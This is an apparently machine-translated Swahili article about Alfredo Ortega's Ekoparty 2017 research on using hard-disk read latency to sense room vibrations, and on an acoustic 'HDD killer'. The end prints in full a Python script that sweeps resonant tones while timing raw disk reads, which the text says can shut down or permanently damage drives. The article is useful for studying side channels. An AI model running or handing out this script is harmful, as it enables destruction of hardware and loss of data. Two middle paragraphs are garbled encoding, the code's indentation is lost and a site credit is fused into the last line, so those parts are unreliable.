
Katika mkutano wa usalama wa kompyuta wa Ekoparty 2017 huko Buenos Aires, mdukuzi wa Argentina Alfredo Ortega alionyesha maendeleo ya kuvutia sana - mfumo wa kugonga waya kwa siri ya majengo bila kutumia maikrofoni. Sauti !
HDD hasa huchukua sauti za juu-frequency ya chini, nyayo na vibrations nyingine. Hotuba ya binadamu bado haiwezi kutambuliwa, ingawa wanasayansi (utambuzi wa hotuba kwa vibrations ya chini-frequency, ambayo ni kumbukumbu, kwa mfano, kutoka gyroscope au HDD).
Sauti ni mtetemo wa hewa au kati nyingine. Mtu huwatambua kwa njia ya eardrum, ambayo hupeleka vibrations kwenye sikio la ndani. Maikrofoni imeundwa takriban kama sikio - hapa, pia, vibrations hurekodiwa na membrane nyembamba, ambayo inasisimua msukumo wa umeme. Gari ngumu, bila shaka, pia inakabiliwa na vibrations microscopic kutokana na kushuka kwa thamani katika hewa inayozunguka. Hii inajulikana hata kutokana na sifa za kiufundi za HDDs: wazalishaji kawaida huonyesha kiwango cha juu cha vibration kinachoruhusiwa, na gari ngumu yenyewe mara nyingi hujaribu kuiweka kwenye chombo kisicho na vibration kilichofanywa kwa mpira au nyenzo nyingine za kuhami. Kutoka hili ni rahisi kuhitimisha kwamba sauti zinaweza kurekodi kwa kutumia HDD. Kilichobaki ni kujua jinsi gani.
Alfredo Ortega alipendekeza toleo la kipekee la shambulio la njia ya kando, yaani shambulio la wakati. Shambulio hili linatokana na dhana kwamba utendakazi tofauti hufanywa kwenye kifaa kwa nyakati tofauti, kulingana na data ya ingizo iliyotolewa. Katika kesi hii, "data ya pembejeo" ni vibrations ya kichwa cha kusoma na sahani ya HDD, ambayo inahusiana na vibrations ya mazingira, yaani, kwa sauti. Hivyo, kwa kupima muda wa kukokotoa na kufanya uchambuzi wa takwimu wa data, mitetemo ya kichwa/sahani na hivyo mitetemo ya kati inaweza kupimwa. Kadiri muda unavyochelewa kusoma data, ndivyo mitetemo ya HDD inavyokuwa na nguvu na, kwa hivyo, sauti kubwa zaidi.
Jinsi ya kupima vibration ya gari ngumu? Rahisi sana: endesha simu ya mfumo read () - na kurekodi muda inachukua kukamilisha. Mifumo ya kisasa ya uendeshaji inakuwezesha kusoma muda wa simu za mfumo kwa usahihi wa nanosecond.
Kasi ya kusoma habari kutoka kwa sekta inategemea nafasi ya kichwa na sahani, ambayo inahusiana na vibrations ya kesi ya HDD. Ni hayo tu.
Uchambuzi wa takwimu unafanywa kwa kutumia matumizi rahisi ya Kscope. Kama wanasema, kila kitu cha busara ni rahisi.

Huduma ya Kscope (stat() syscall)
Kscope ni matumizi madogo ya kuibua tofauti ndogo katika nyakati za utekelezaji wa simu za mfumo. Chanzo.
Katika hazina tofauti kuna toleo la matumizi lililosanidiwa kwa shambulio la wakati kwenye diski kuu, ambayo ni, imeundwa kuchambua simu ya mfumo. read ().
Maonyesho ya kurekodi sauti kwa kutumia HDD, uendeshaji wa matumizi ya Kscope

Kwa kweli, hotuba haiwezi kueleweka kwa njia hii, lakini HDD inafaa kabisa kama sensor ya vibration. Kwa mfano, unaweza kujiandikisha ikiwa mtu aliyevaa viatu ngumu au bila viatu aliingia kwenye chumba na kompyuta (labda, ikiwa mshambuliaji amevaa sneakers laini au kuna carpet nene kwenye sakafu, HDD haitaweza kusajili vibrations - hii inafaa kukaguliwa). Kompyuta ina uwezo wa kusajili glasi iliyovunjika au matukio mengine kwa nguvu ya sauti. Hiyo ni, gari ngumu inaweza kutumika kama aina ya mfumo wa kugundua intrusion bila ruhusa.
HDD killer
ΠΡΡΠ°ΡΠΈ, ΡΡ ΠΎΠΆΡΡ ΡΠ΅Ρ Π½ΠΈΠΊΡ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄Π»Ρ Π²ΡΠ²Π΅Π΄Π΅Π½ΠΈΡ ΠΈΠ· ΡΡΡΠΎΡ ΠΆΡΡΡΠΊΠΈΡ Π΄ΠΈΡΠΊΠΎΠ². Π’ΠΎΠ»ΡΠΊΠΎ Π·Π΄Π΅ΡΡ ΠΌΡ Π½Π΅ ΡΠ½ΠΈΠΌΠ°Π΅ΠΌ ΠΊΠΎΠ»Π΅Π±Π°Π½ΠΈΡ Ρ HDD, Π° Π½Π°ΠΎΠ±ΠΎΡΠΎΡ β Π³Π΅Π½Π΅ΡΠΈΡΡΠ΅ΠΌ ΠΊΠΎΠ»Π΅Π±Π°Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΏΠΎΠ΄Π°ΡΡΡΡ Π½Π° HDD. ΠΡΠ»ΠΈ Π²ΠΎΡΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΡ Ρ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Π·Π²ΡΠΊ Π½Π° ΡΠ°ΡΡΠΎΡΠ΅, ΠΊΠΎΡΠΎΡΠ°Ρ ΡΠ΅Π·ΠΎΠ½ΠΈΡΡΠ΅Ρ Ρ ΡΠ°ΡΡΠΎΡΠΎΠΉ HDD, ΡΠΎ ΡΠΈΡΡΠ΅ΠΌΠ° Π²ΡΠΊΠΎΡΠ΅ ΠΎΡΠΊΠ»ΡΡΠ°Π΅Ρ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ Ρ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ Π²Π²ΠΎΠ΄Π°-Π²ΡΠ²ΠΎΠ΄Π° (ΡΠ΄ΡΠΎ Linux ΠΏΠΎΠ»Π½ΠΎΡΡΡΡ ΠΎΡΠΊΠ»ΡΡΠ°Π΅Ρ HDD ΡΠ΅ΡΠ΅Π· 120 ΡΠ΅ΠΊΡΠ½Π΄). Π‘Π°ΠΌ ΠΆΡΡΡΠΊΠΈΠΉ Π΄ΠΈΡΠΊ ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π½Π΅ΠΎΠ±ΡΠ°ΡΠΈΠΌΡΠ΅ ΠΏΠΎΠ²ΡΠ΅ΠΆΠ΄Π΅Π½ΠΈΡ.

Cha msingi Linux ΠΎΡΠΊΠ»ΡΡΠΈΠ»ΠΎ ΠΆΡΡΡΠΊΠΈΠΉ Π΄ΠΈΡΠΊ ΠΏΠΎΡΠ»Π΅ 120 ΡΠ΅ΠΊΡΠ½Π΄ ΠΏΠΎΠ΄Π°ΡΠΈ Π·Π²ΡΠΊΠ° Π½Π° ΡΠ΅Π·ΠΎΠ½ΠΈΡΡΡΡΠ΅ΠΉ ΡΠ°ΡΡΠΎΡΠ΅ ΡΠ΅ΡΠ΅Π· Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ USB-ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Edifier r19u. ΠΠΈΠ½Π°ΠΌΠΈΠΊ Π²ΠΊΠ»ΡΡΠ΅Π½ ΠΏΡΠΈΠΌΠ΅ΡΠ½ΠΎ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΡΡ ΠΌΠΎΡΠ½ΠΎΡΡΠΈ (ΠΌΠ΅Π½Π΅Π΅ 100 ΠΌΠΡ) ΠΈ ΡΠ°ΡΠΏΠΎΠ»Π°Π³Π°Π΅ΡΡΡ Π² 20 ΡΠΌ ΠΎΡ HDD, Π½Π°ΠΏΡΠ°Π²Π»Π΅Π½ Π½Π° ΡΡΠΎΠ» Π΄Π»Ρ ΡΡΠΈΠ»Π΅Π½ΠΈΡ Π²ΠΈΠ±ΡΠ°ΡΠΈΠΉ. ΠΠ°Π΄Ρ ΠΈΠ· pamoja na onyesho la muuaji wa HDD
Inashangaza kwamba "mashambulizi" hayo kwenye HDD wakati mwingine hutokea kabisa kwa ajali katika maisha ya kila siku. Kwa mfano, mnamo Septemba 2016, kituo cha data cha ING Bank kililazimika kusimamisha shughuli kwa saa 10 baada ya kuchimba moto. kutokana na sauti kubwa ya gesi ya ajizi inayotolewa kutoka kwa mitungi chini ya shinikizo la juu. Sauti ilikuwa kubwa sana (zaidi ya 130 dB), lakini huwezi hata kupiga kelele kwenye anatoa ngumu - hii huongeza kuchelewa kwa kufikia HDD.
Maonyesho ya watu wanaopiga kelele kwenye diski kuu kwenye kituo cha data. Kipimo cha latency

Ili kutoa sauti inayosikika, Alfredo Ortega aliandika hati ya Python inayoitwa ().
Ni ndogo sana, kwa hivyo unaweza kuichapisha kwa ukamilifu hapa.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Chanzo: mapenzi.com
